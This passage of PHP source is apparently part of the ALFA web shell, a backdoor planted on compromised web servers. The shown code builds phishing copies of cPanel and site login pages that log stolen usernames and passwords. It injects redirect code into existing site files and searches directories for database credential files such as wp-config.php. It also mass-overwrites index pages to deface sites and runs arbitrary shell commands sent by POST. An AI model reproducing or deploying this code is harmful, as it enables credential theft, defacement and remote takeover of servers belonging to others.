value="\'.$GLOBALS[\'cwd\'].\'logs.txt"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>\r\n\t<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>\';\r\n\t$clone_page = $_POST[\'alfa1\'];\r\n\t$fake_root = $_POST[\'alfa2\'];\r\n\t$logto = $_POST[\'alfa4\'];\r\n\t$panel = $_POST[\'alfa5\'];\r\n\t$inject_to = $_POST[\'alfa6\'];\r\n\t$bind_on = $_POST[\'alfa7\'];\r\n\t$count = $_POST[\'alfa8\'];\r\n\tif(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST[\'alfa3\'] == \'>>\'){\r\n\t\techo __pre();\r\n\t\t$target = $clone_page;\r\n\t\t$curl = new AlfaCURL();\r\n\t\t$source_page = $curl->Send($target);\r\n\t\tif(!empty($source_page)){\r\n\t\t\t$matched_form = "";\r\n\t\t\tif($panel == "cpanel"){\r\n\t\t\t\tif(preg_match(\'#<form(.*)id="login_form"(.*)>#\', $source_page, $match)){\r\n\t\t\t\t\t$matched_form = $match[0];\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\tif(preg_match(\'#<form(.*?)>#\', $source_page, $match)){\r\n\t\t\t\t\t$matched_form = $match[0];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!empty($matched_form)){\r\n\t\t\t\t$fake = "";\r\n\t\t\t\t$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $fake_root);\r\n\t\t\t\t$uri = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $inject_to);\r\n\t\t\t\tif($panel == "cpanel"){\r\n\t\t\t\t\t$port = "2083";\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$target = str_replace(array("http://", "https://"), "", $target);\r\n\t\t\t\t\t$port = explode(":",$target);\r\n\t\t\t\t\t$port = $port[1];\r\n\t\t\t\t}\r\n\t\t\t\tif(substr($uri, 0, 1) == "/"){\r\n\t\t\t\t\t$uri = substr($uri, 1);\r\n\t\t\t\t}\r\n\t\t\t\t$uri = $_SERVER["HTTP_ORIGIN"] . \'/\' . str_replace("index.php", "", $uri) . \'?:\' . $port;\r\n\t\t\t\t$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . \'/log.php\';\r\n\t\t\t\tif($panel == "cpanel"){\r\n\t\t\t\t\t$form = \'<form novalidate id="login_form" action="\'.$log_url.\'" method="post" target="_top" style="visibility:">\';\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$form = \'<form action="\'.$log_url.\'" method="post">\';\r\n\t\t\t\t}\r\n\t\t\t\t$fake = str_replace($matched_form, $form, $source_page);\r\n\t\t\t\tif(@!is_dir($fake_root)){\r\n\t\t\t\t\t@mkdir($fake_root, 0777, true);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$cookie_name = "alfa_fakepage_counter" . rand(9999,99999);\r\n\r\n\t\t\t\t$post_user = \'user\';\r\n\t\t\t\t$post_pass = \'pass\';\r\n\t\t\t\t$resp_code = \'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}\';\r\n\t\t\t\tif($panel != "cpanel"){\r\n\t\t\t\t\t$post_user = \'username\';\r\n\t\t\t\t\t$post_pass = \'password\';\r\n\t\t\t\t\t$resp_code = \'@header("Location: ".$_SERVER[\\\'HTTP_REFERER\\\']);\';\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$cpanel_log = \'<?php $cook_time = time()+(86400 * 7); $user = $_POST["\'.$post_user.\'"];$pass = $_POST["\'.$post_pass.\'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["\'.$cookie_name.\'"])){@setcookie("\'.$cookie_name.\'", 0, $cook_time, "/");$_COOKIE["\'.$cookie_name.\'"]=1;}if((int)$_COOKIE["\'.$cookie_name.\'"]>\'.$count.\'){@header("Location: /");exit;}@setcookie("\'.$cookie_name.\'", ((int)$_COOKIE["\'.$cookie_name.\'"] + 1), $cook_time, "/");$fp = @fopen("\'.$logto.\'", "a+");@fwrite($fp, $user . " : " . $pass . "\\n");fclose($fp);sleep(3);\'.$resp_code.\'exit;}?>\';\r\n\r\n\t\t\t\t@file_put_contents($fake_root.\'/log.php\', $cpanel_log);\r\n\r\n\t\t\t\tif($panel == "cpanel"){\r\n\t\t\t\t\t$fake = preg_replace(array(\'#<link(.*)href="(.*)"(.*)>#\', \'#<img class="main-logo" src="(.*)"(.*)>#\', \'# <a(.*)id="reset_password">#\'), array(\'<link href="\'.$target.\'/$2">\', \'<img class="main-logo" src="\'.$target.\'/$1" alt="logo" />\', \'<a href="#" id="reset_password">\'), $fake);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t@file_put_contents($fake_root.\'/index.php\', $fake);\r\n\r\n\t\t\t\t$inject_code = \'<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@include("\'.$fake_root.\'/index.php");exit;}?>\';\r\n\t\t\t\t$bind_on_code = \'<?php if((int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@header("Location: \'.$uri.\'");exit;}?>\';\r\n\r\n\t\t\t\t@file_put_contents($inject_to, $inject_code . "\\n" .@file_get_contents($inject_to));\r\n\t\t\t\t@file_put_contents($bind_on, $bind_on_code . "\\n" .@file_get_contents($bind_on));\r\n\r\n\t\t\t\techo "success...!";\r\n\t\t\t}else{\r\n\t\t\t\techo "failed...!";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo("<div style=\'text-align:center;color:red;\'>Cannot open the target...!</div>");\r\n\t\t}\r\n\t}\r\n\techo \'</div>\';\r\n\talfafooter();\r\n}\r\nfunction alfaarchive_manager(){\r\n\talfahead();\r\n\t$file = $_POST[\'alfa2\'];\r\n\tif(!file_exists($file)){\r\n\t\t$file = $GLOBALS[\'cwd\'];\r\n\t}\r\n\t$rand_id = rand(9999, 999999);\r\n\techo \'<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>\';\r\n\techo \'<form name="srch" onSubmit="g(\\\'archive_manager\\\',null,null,this.file.value,null,null,\\\'>>\\\');return false;" method=\\\'post\\\'>\r\n\t<div class="txtfont">\r\n\tArchive file: <input size="50" id="target" type="text" name="file" value="\'.$file.\'">\r\n\t<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n\tif($_POST[\'alfa5\']==\'>>\'){\r\n\t\t//echo __pre();\r\n\t\techo \'<hr><div style="margin-left: 12px;" archive_full="phar://\'.$file.\'" archive_name="\'.basename($file).\'" id="archive_dir_\'.$rand_id.\'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>\';\r\n\t\techo \'<div style="padding: 10px;" id="archive_base_\'.$rand_id.\'">\';\r\n\t\t__alfa_open_archive_file($file, $rand_id);\r\n\t\techo \'</div>\';\r\n\t}\r\n\techo \'</div>\';\r\n\talfafooter();\r\n}\r\nfunction __alfa_open_archive_file($arch, $base_id=0){\r\n\ttry{\r\n\t\t$files = array();\r\n\t\t$dirs = array();\r\n\t\t$archive = new PharData($arch);\r\n\t\t foreach($archive as $file) {\r\n\t\t\t $file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file->getPathname()));\r\n\t\t if($file->isDir()) {\r\n\t\t\t\t $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);\r\n\t\t }else{\r\n\t\t\t\t $file_size = @filesize($file->getPathname());\r\n\t\t\t\t $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);\r\n\t\t\t }\r\n\t\t }\r\n\t\t function __alfa_open_archive_usort($a, $b){\r\n\t\t\t return strcmp(strtolower($a[\'name\']), strtolower($b[\'name\']))*1;\r\n\t\t }\r\n\t\t usort($dirs, "__alfa_open_archive_usort");\r\n\t\t usort($files, "__alfa_open_archive_usort");\r\n\t\t $files = array_merge($dirs, $files);\r\n\t\t echo \'<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>\';\r\n\t\t $icon = \'<img class="archive-icons" src="\'.findicon(\'..\',\'dir\').\'" width="30" height="30">\';\r\n\t\t echo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="\'.dirname($arch.\'.php\').\'">\'.$icon.\'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>\';\r\n\t\t foreach($files as $file){\r\n\t\t\t $icon = \'<img class="archive-icons" src="\'.findicon($file[\'name\'],$file[\'type\']).\'" width="30" height="30">\';\r\n\t\t\t if($file["type"] == "dir"){\r\n\t\t\t \techo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="\'.$file["path"].\'" fname="\'.$file["name"].\'">\'.$icon.\'<span class="archive-name archive-type-dir">| \'.$file["name"].\' |</span></a><td>dir</td><td>\'.$file["modify"].\'</td><td>-</td></tr>\';\r\n\t\t \t}else{\r\n\t\t\t\techo "<tr><th><a base_id=\'".$base_id."\' class=\'archive-file-row\' onclick=\\"editor(\'".$file["path"]."\',\'auto\',\'\',\'\',\'\',\'file\');\\">".$icon."<span class=\'archive-name archive-type-file\' fname=\'".$file["name"]."\'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";\r\n\r\n\t\t\t}\r\n\t\t }\r\n\t\t echo \'</table>\';\r\n\t}catch(Exception $e){\r\n\t\techo("0");\r\n\t}\r\n}\r\nfunction alfaopen_archive_dir(){\r\n\t$dir = $_POST["alfa1"];\r\n\t$base_id = $_POST["alfa2"];\r\n\t__alfa_open_archive_file($dir, $base_id);\r\n}\r\nfunction alfaconfig_grabber(){\r\n\talfahead();\r\n\techo \'<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>\';\r\n\techo \'<form name="srch" onSubmit="g(\\\'config_grabber\\\',null,null,this.dir.value,this.ext.value,null,\\\'>>\\\');return false;" method=\\\'post\\\'>\r\n\t<div class="txtfont">\r\n\tDir: <input size="50" id="target" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">\r\n\tExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n\t<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n\t$dir = $_POST[\'alfa2\'];\r\n\t$ext = $_POST[\'alfa3\'];\r\n\tif($_POST[\'alfa5\']==\'>>\'){\r\n\t\techo __pre();\r\n\t\tAlfa_ConfigGrabber($dir, $ext);\r\n\t}\r\n\techo \'</div>\';\r\n\talfafooter();\r\n}\r\nfunction Alfa_ConfigGrabber($dir, $ext) {\r\n\t$pattern = "#define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOST(?:\'|\\")[ ]{0,}|define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOSTNAME(?:\'|\\")[ ]{0,}|config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")password(?:\'|\\")\\]|(?:\'|\\")database(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")|(?:\'|\\")(mysql|database)(?:\'|\\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";\r\n\t$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");\r\n\tif(@is_readable($dir)){\r\n\t\t$globFiles = @glob("$dir/*.$ext");\r\n\t\t$globDirs = @glob("$dir/*", GLOB_ONLYDIR);\r\n\t\t$blacklist = array();\r\n\t\tforeach ($globDirs as $dir) {\r\n\t\t\tif(!@is_readable($dir)||@is_link($dir)) continue;\r\n\t\t\t@Alfa_ConfigGrabber($dir, $ext);\r\n\t\t}\r\n\t\tforeach ($globFiles as $file){\r\n\t\t\t$filee = @file_get_contents($file);\r\n\t\t\tif(preg_match($pattern, $filee)){\r\n\t\t\t\techo "<div><span>$file</span> <a style=\'cursor:pointer;\' onclick=\\"editor(\'".$file."\',\'auto\',\'\',\'\',\'\',\'file\');\\">[ View file ]</a></div>";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfasearcher(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'file\\\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'str\\\')">| Find Files By Name | </a></h3></center>\';\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'file\'){\r\necho \'<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\\\'searcher\\\',null,\\\'file\\\',this.filename.value,this.ext.value,this.method.value,\\\'>>\\\');return false;" method=\\\'post\\\'>\r\n<div class="txtfont">\r\nMethod: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>\r\nDir: <input size="50" id="target" type="text" name="filename" value="\'.$GLOBALS[\'cwd\'].\'">\r\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n$dir = $_POST[\'alfa2\'];\r\n$ext = $_POST[\'alfa3\'];\r\n$method = $_POST[\'alfa4\'];\r\nif($_POST[\'alfa5\']==\'>>\'){\r\necho __pre();\r\nif(substr($dir,-1)==\'/\')$dir=substr($dir,0,-1);\r\nAlfa_Searcher($dir,trim($ext),$method);\r\n}\r\n}\r\nif($_POST[\'alfa1\']==\'str\'){\r\necho \'<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\\\'searcher\\\',null,\\\'str\\\',this.dir.value,this.string.value,\\\'>>\\\',this.ext.value,this.method.value);return false;" method=\\\'post\\\'>\r\n<div class="txtfont">\r\nMethod: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>\r\nString: <input type="text" name="string" value="">\r\nDir: <input size="50" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">\r\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n$dir = $_POST[\'alfa2\'];\r\n$string = $_POST[\'alfa3\'];\r\n$ext = $_POST[\'alfa5\'];\r\nif(!empty($string) AND !empty($dir) AND $_POST[\'alfa4\'] == \'>>\'){\r\necho __pre();\r\nAlfa_StrSearcher($dir,$string,$ext,$_POST[\'alfa6\']);\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaMassDefacer(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Mass Defacer |</div></p><form onSubmit=\\"g(\'MassDefacer\',null,this.massdir.value,this.defpage.value,this.method.value,\'>>\');return false;\\" method=\'post\'>";\r\necho \'<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>\r\n\tMass dir: <input size="50" id="target" type="text" name="massdir" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\r\n\tDefPage: <input size="50" type="text" name="defpage" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"></div> <input type="submit" name="btn" value=" "></center></p>\r\n</form>\';\r\n$dir = $_POST[\'alfa1\'];\r\n$defpage = $_POST[\'alfa2\'];\r\n$method = $_POST[\'alfa3\'];\r\n$fCurrent = $GLOBALS[\'__file_path\'];\r\nif($_POST[\'alfa4\'] == \'>>\'){\r\nif(!empty($dir)){\r\nif(@is_dir($dir)){\r\nif(@is_readable($dir)){\r\nif(@is_file($defpage)){\r\nif($dh = @opendir($dir)){\r\necho __pre();\r\nwhile (($file = @readdir($dh)) !== false){\r\nif($file == \'..\' || $file == \'.\')continue;\r\n$newfile=$dir.$file;\r\nif($fCurrent == $newfile)continue;\r\nif(@is_dir($newfile)){\r\nAlfa_ReadDir($newfile,$method,$defpage);\r\n}else{\r\nif(!@is_writable($newfile))continue;\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}else{__alert(\'<font color="red">Error In OpenDir...</font>\');}\r\n}else{__alert(\'<font color="red">DefPage File NotFound...</font>\');}\r\n}else{__alert(\'<font color="red">Directory is not Readable...</font>\');}\r\n}else{__alert(\'<font color="red">Mass Dir is Invalid Dir...</font>\');}\r\n}else{__alert(\'<font color="red">Dir is Empty...</font>\');}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction Alfa_ReadDir($dir,$method=\'\',$defpage=\'\'){\r\nif(!@is_readable($dir)) return false;\r\nif (@is_dir($dir)) {\r\nif ($dh = @opendir($dir)) {\r\nwhile(($file=readdir($dh))!==false) {\r\nif($file == \'..\' || $file == \'.\')continue;\r\n$newfile=$dir.\'/\'.$file;\r\nif(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);\r\nif(@is_file($newfile)){\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}\r\n}\r\n}\r\nfunction Alfa_Rewriter($dir,$file,$defpage,$m=\'index\'){\r\nif(!@is_writable($dir)) return false;\r\nif(!@is_readable($dir)) return false;\r\n$defpage=@file_get_contents($defpage);\r\nif($m == \'index\'){\r\n$indexs = array(\'index.php\',\'index.htm\',\'index.html\',\'default.asp\',\'default.aspx\',\'index.asp\',\'index.aspx\',\'index.js\');\r\nif(in_array(strtolower($file),$indexs)){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir."<b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\r\n}\r\n}elseif($m==\'all\'){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir." <b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\r\n}\r\n}\r\nfunction alfaGetDisFunc(){\r\nalfahead();\r\necho \'<div class="header">\';\r\n$disfun = @ini_get(\'disable_functions\');\r\n$s = explode(\',\',$disfun);\r\n$f = array_unique($s);\r\necho \'<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>\';\r\n$i=1;\r\nforeach($f as $s){\r\n$s=trim($s);\r\nif(function_exists($s)||!is_callable($s))continue;\r\necho \'<tr><td align="center" style="background-color: black;">\'.$i.\'</td>\';\r\necho \'<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.\'.str_replace(\'_\',\'-\',$s).\'.php"><span class="disable_functions"><b>\'.$s.\'</b></span></a></td>\';\r\n$i++;\r\n}\r\necho \'</table></center>\';\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction Alfa_Create_A_Tag($action,$vals){\r\n$nulls = array();\r\nforeach($vals as $key => $val){\r\necho \'<a href=javascript:void(0) onclick="g(\\\'\'.$action.\'\\\',\';\r\nfor($i=1;$i<=$val[1]-1;$i++)$nulls[] = \'null\';\r\n$f = implode(\',\',$nulls);\r\necho $f.\',\\\'\'.$val[0].\'\\\');return false;">| \'.$key.\' | </a>\';\r\nunset($nulls);\r\n}\r\n}\r\nfunction Alfa_Searcher($dir, $ext, $method) {\r\nif(@is_readable($dir)){\r\nif($method == \'all\')$ext = \'*\';\r\nif($method == \'dirs\')$ext = \'*\';\r\n$globFiles = @glob("$dir/*.$ext");\r\n$globDirs = @glob("$dir/*", GLOB_ONLYDIR);\r\n$blacklist = array();\r\nforeach ($globDirs as $dir) {\r\nif(!@is_readable($dir)||@is_link($dir)) continue;\r\n@Alfa_Searcher($dir, $ext, $method);\r\n}\r\nswitch($method){\r\ncase "files":\r\nforeach ($globFiles as $file){\r\nif(@is_writable($file)){\r\necho "$file<br>";\r\n}\r\n}\r\nbreak;\r\ncase "dirs":\r\nforeach ($globFiles as $file){\r\nif(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){\r\necho dirname($file).\'<br>\';\r\n$blacklist[] = dirname($file);\r\n}\r\n}\r\nbreak;\r\ncase "all":\r\nforeach ($globFiles as $file){\r\necho $file.\'<br>\';\r\n}\r\nbreak;\r\n}\r\nunset($blacklist);\r\n}\r\n}\r\nfunction AlfaiFrameCreator($f,$width=\'100%\',$height=\'600px\'){\r\nreturn(\'<iframe src="\'.__ALFA_DATA_FOLDER__."/".$f.\'" width="\'.$width.\'" height="\'.$height.\'" frameborder="0"></iframe>\');\r\n}\r\nclass AlfaCURL {\r\npublic $headers;\r\npublic $user_agent;\r\npublic $compression;\r\npublic $cookie_file;\r\npublic $proxy;\r\npublic $path;\r\npublic $ssl = true;\r\npublic $curl_status = true;\r\nfunction __construct($cookies=false,$compression=\'gzip\',$proxy=\'\'){\r\nif(!extension_loaded(\'curl\')){$curl_status = false;return false;}\r\n$this->headers[] = \'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg\';\r\n$this->headers[] = \'Connection: Keep-Alive\';\r\n$this->headers[] = \'Content-type: application/x-www-form-urlencoded;charset=UTF-8\';\r\n$this->user_agent = \'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)\';\r\n$this->path = ALFA_TEMPDIR.\'/Alfa_cookies.txt\';\r\n$this->compression=$compression;\r\n$this->proxy=$proxy;\r\n$this->cookies=$cookies;\r\nif($this->cookies)$this->cookie($this->path);\r\n}\r\nfunction cookie($cookie_file) {\r\nif (_alfa_file_exists($cookie_file,false)) {\r\n$this->cookie_file=$cookie_file;\r\n}else{\r\n@fopen($cookie_file,\'w\') or die($this->error(\'The cookie file could not be opened.\'));\r\n$this->cookie_file=$cookie_file;\r\n@fclose($this->cookie_file);\r\n}\r\n}\r\nfunction Send($url,$method="get",$data=""){\r\nif(!$this->curl_status){return false;}\r\n$process = curl_init($url);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);\r\ncurl_setopt($process, CURLOPT_HEADER, 0);\r\ncurl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);\r\ncurl_setopt($process, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($process, CURLOPT_ENCODING , $this->compression);\r\ncurl_setopt($process, CURLOPT_TIMEOUT, 30);\r\nif($this->ssl){\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);\r\n}\r\nif($this->cookies){\r\ncurl_setopt($process, CURLOPT_COOKIEFILE, $this->path);\r\ncurl_setopt($process, CURLOPT_COOKIEJAR, $this->path);\r\n}\r\nif($this->proxy){\r\ncurl_setopt($process, CURLOPT_PROXY, $this->proxy);\r\n}\r\nif($method==\'post\'){\r\ncurl_setopt($process, CURLOPT_POSTFIELDS, $data);\r\ncurl_setopt($process, CURLOPT_POST, 1);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, array(\'Content-Type: application/x-www-form-urlencoded\'));\r\n}\r\n$return = @curl_exec($process);\r\ncurl_close($process);\r\nreturn $return;\r\n}\r\nfunction error($error) {\r\necho "<center><div style=\'width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px\'><b>cURL Error</b><br>$error</div></center>";\r\ndie;\r\n}\r\n}\r\nfunction getConfigHtml($cms){\r\n$content = \'\';\r\n$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");\r\n$content .= "<form class=\'getconfig\' onSubmit=\'g(\\"GetConfig\\",null,this.cms.value,this.path.value,this.getAttribute(\\"base_id\\"));return false;\'><div class=\'txtfont\'>Cms: </div> <select name=\'cms\'style=\'width:100px;\'>";\r\nforeach($cms_array as $key => $val){\r\n$content .= "<option value=\'{$key}\' ".($key==$cms?\'selected=selected\':\'\').">{$val}</option>";\r\n}\r\n$content .= "</select> <div class=\'txtfont\'>Path(installed cms/Config): </div> <input type=\'text\' name=\'path\' value=\'".$_SERVER[\'DOCUMENT_ROOT\']."/\' size=\'30\' /> <button class=\'button\'>GetConfig</button>";\r\n$content .= "</form>";\r\nreturn $content;\r\n}\r\nif (!function_exists(\'json_encode\')){\r\n function json_encode($a=false){\r\n if (is_null($a)) return \'null\';\r\n if ($a === false) return \'false\';\r\n if ($a === true) return \'true\';\r\n if (is_scalar($a))\r\n {\r\n if (is_float($a))\r\n {\r\n return floatval(str_replace(",", ".", strval($a)));\r\n }\r\n\r\n if (is_string($a))\r\n {\r\n static $jsonReplaces = array(array("\\\\", "/", "\\n", "\\t", "\\r", "\\b", "\\f", \'"\'), array(\'\\\\\\\\\', \'\\\\/\', \'\\\\n\', \'\\\\t\', \'\\\\r\', \'\\\\b\', \'\\\\f\', \'\\"\'));\r\n return \'"\' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . \'"\';\r\n }\r\n else\r\n return $a;\r\n }\r\n $isList = true;\r\n for ($i = 0, reset($a); $i < count($a); $i++, next($a))\r\n {\r\n if (key($a) !== $i)\r\n {\r\n $isList = false;\r\n break;\r\n }\r\n }\r\n $result = array();\r\n if ($isList)\r\n {\r\n foreach ($a as $v) $result[] = json_encode($v);\r\n return \'[\' . join(\',\', $result) . \']\';\r\n }\r\n else\r\n {\r\n foreach ($a as $k => $v) $result[] = json_encode($k).\':\'.json_encode($v);\r\n return \'{\' . join(\',\', $result) . \'}\';\r\n }\r\n }\r\n}\r\nif ( !function_exists(\'json_decode\') ){\r\nfunction json_decode($json, $array=true){\r\n $comment = false;\r\n $out = \'$x=\';\r\n for ($i=0; $i<strlen($json); $i++)\r\n {\r\n if (!$comment)\r\n {\r\n if ($json[$i] == \'{\' || $json[$i] == \'[\'){$out .= \' array(\';}\r\n else if ($json[$i] == \'}\' || $json[$i] == \']\'){$out .= \')\';}\r\n else if ($json[$i] == \':\'){$out .= \'=>\';}\r\n else {$out .= $json[$i];}\r\n }\r\n else $out .= $json[$i];\r\n if ($json[$i] == \'"\') $comment = !$comment;\r\n }\r\n eval($out . \';\');\r\n return $x;\r\n}\r\n}\r\nfunction alfaterminalExec(){\r\n\t$pwd = "pwd";\r\n\t$seperator = ";";\r\n\tif($GLOBALS[\'sys\']!=\'unix\'){\r\n\t\t$pwd = "cd";\r\n\t\t$seperator = "&";\r\n\t}\r\n\tif($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\'".$seperator;}\r\n\t$current_path = \'\';\r\n\tif(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST[\'alfa1\'], $match)){\r\n\t\tif(empty($match[1])){\r\n\t\t\t$match[1] = $match[2];\r\n\t\t}\r\n\t\t$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);\r\n\t\t$current_path = str_replace("\\\\", "/", $current_path);\r\n\t}\r\n\t$out = alfaEx($cmd.$_POST[\'alfa1\'], true);\r\n\t$out = htmlspecialchars($out);\r\n\techo json_encode(array("output" => convertBash($out), "path" => $current_path));\r\n}\r\nfunction convertBash($code) {\r\n $dictionary = array(\r\n \'[01;30m\' => \'<span style="color:black">\',\r\n \'[01;31m\' => \'<span style="color:red">\',\r\n \'[01;32m\' => \'<span style="color:green">\',\r\n \'[01;33m\' => \'<span style="color:yellow">\',\r\n \'[01;34m\' => \'<span style="color:blue">\',\r\n \'[01;35m\' => \'<span style="color:purple">\',\r\n \'[01;36m\' => \'<span style="color:cyan">\',\r\n \'[01;37m\' => \'<span style="color:white">\',\r\n \'[0m\' => \'</span>\'\r\n );\r\n $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);\r\n return $htmlString;\r\n}\r\nfunction alfadoActions(){\r\n\t$chdir_fals = false;\r\n\tif(!@chdir($_POST[\'c\'])){\r\n\t\t$chdir_fals = true;\r\n\t\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\t}\r\n\tif(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);\r\n\tif(isset($_POST[\'alfa2\']))$_POST[\'alfa2\'] = rawurldecode($_POST[\'alfa2\']);\r\n\t$action = $_POST["alfa3"];\r\n\tif($action == "permission"){\r\n\t\t$perms = 0;\r\n\t\t$perm = $_POST["alfa2"];\r\n\t\tfor($i=strlen($perm)-1;$i>=0;--$i){\r\n\t\t\t$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));\r\n\t\t}\r\n\t\tif(@chmod($_POST[\'alfa1\'], 